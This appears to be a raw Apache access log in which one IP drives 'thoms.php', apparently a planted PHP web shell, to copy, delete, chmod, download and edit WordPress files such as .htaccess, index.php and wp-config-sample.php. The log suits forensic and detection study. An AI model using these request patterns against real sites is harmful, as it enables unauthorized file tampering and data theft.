45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?p= HTTP/1.1" 200 22466 "https://163.245.207.76/betcity.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 22456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 200 12345 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46081 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 22467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11930 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12345 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12126 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 22434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /betcity.com.tw/thoms.php?p= HTTP/1.1" 200 22466 "https://163.245.207.76/betcity.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p= HTTP/1.1" 200 12383 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20355 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20357 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 13056 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /betcity.com.tw/deprecated-complete/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 16641 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?chmod=admin.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?dl=profile.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13277 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete&view=admin.php HTTP/1.1" 200 16588 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fdeprecated-complete&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /betcity.com.tw/deprecated-complete/admin.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:42 -0400] "GET /thoms.php?dl=admin.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13109 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /betcity.com.tw/deprecated-complete/index.php HTTP/1.1" 200 6297 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?chmod=index.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?del=index.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13110 "http://163.245.207.76:443/thoms.php?del=index.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?del=profile.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13110 "http://163.245.207.76:443/thoms.php?del=profile.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?del=license.txt&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13130 "http://163.245.207.76:443/thoms.php?del=license.txt&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /betcity.com.tw/deprecated-complete/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete&view=profile.php HTTP/1.1" 200 11856 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fdeprecated-complete&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete&view=license.txt HTTP/1.1" 200 11925 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fdeprecated-complete&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /betcity.com.tw/deprecated-complete HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw/deprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Findex.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Findex.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /betcity.com.tw/deprecated-complete/ HTTP/1.1" 200 6411 "https://163.245.207.76:443/betcity.com.tw/deprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?dl=index.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13444 "http://163.245.207.76:443/thoms.php?dl=index.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Flicense.txt&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Flicense.txt&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?del=admin.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13421 "http://163.245.207.76:443/thoms.php?del=admin.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete&view=index.php HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fdeprecated-complete&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?dl=license.txt&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13420 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete&upload= HTTP/1.1" 200 12180 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fdeprecated-complete&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Fadmin.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Fadmin.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?chmod=license.txt&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13421 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Fadmin.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?chmod=profile.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Fprofile.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete%2Fprofile.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete&settings=1 HTTP/1.1" 200 11930 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fdeprecated-complete&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?edit=.htaccess&p=betcity.com.tw HTTP/1.1" 200 12478 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=betcity.com.tw HTTP/1.1" 200 16079 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?edit=index.php&p=betcity.com.tw HTTP/1.1" 200 11803 "http://163.245.207.76:443/thoms.php?edit=index.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?edit=index.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 15428 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p= HTTP/1.1" 200 12368 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20346 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
